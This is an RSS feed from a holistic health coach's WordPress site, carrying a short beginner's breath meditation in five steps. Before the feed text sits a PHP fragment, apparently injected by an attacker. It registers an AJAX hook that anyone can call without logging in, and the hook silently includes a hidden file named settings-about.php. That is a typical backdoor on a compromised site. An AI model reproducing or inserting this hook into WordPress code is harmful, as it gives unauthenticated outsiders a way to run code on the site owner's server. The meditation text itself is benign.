if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } meditation - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator https://rommykirby.com Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator Thu, 17 Dec 2015 18:30:53 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Meditation made easy for regular people https://rommykirby.com/meditation-made-easy-for-regular-people/ https://rommykirby.com/meditation-made-easy-for-regular-people/#respond Sat, 10 May 2014 22:21:59 +0000 http://RommyKirby.com/?p=683 The breath is the easiest thing to meditate on because as long as we are living it is always present. You can do this meditation anywhere and anytime. Simple Meditation for Beginners     Step 1 – hear the breath in your ears Step 2 – feel the breath in your body Step 3 – […]

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]]> The breath is the easiest thing to meditate on because as long as we are living it is always present. You can do this meditation anywhere and anytime.

Simple Meditation for Beginners

 

Image courtesy of tiverylucky / FreeDigitalPhotos.net

Image courtesy of tiverylucky / FreeDigitalPhotos.net

 

Step 1 – hear the breath in your ears

Step 2 – feel the breath in your body

Step 3 – through the nose, match the inhale to the exhale

Step 4 – say the words ‘I am’ with each inhale and the word ‘here’ with each exhale

Step 5 – repeat 5 – 30 times.

 

 

Want to download one of my favorite breath meditations?

 

 

 

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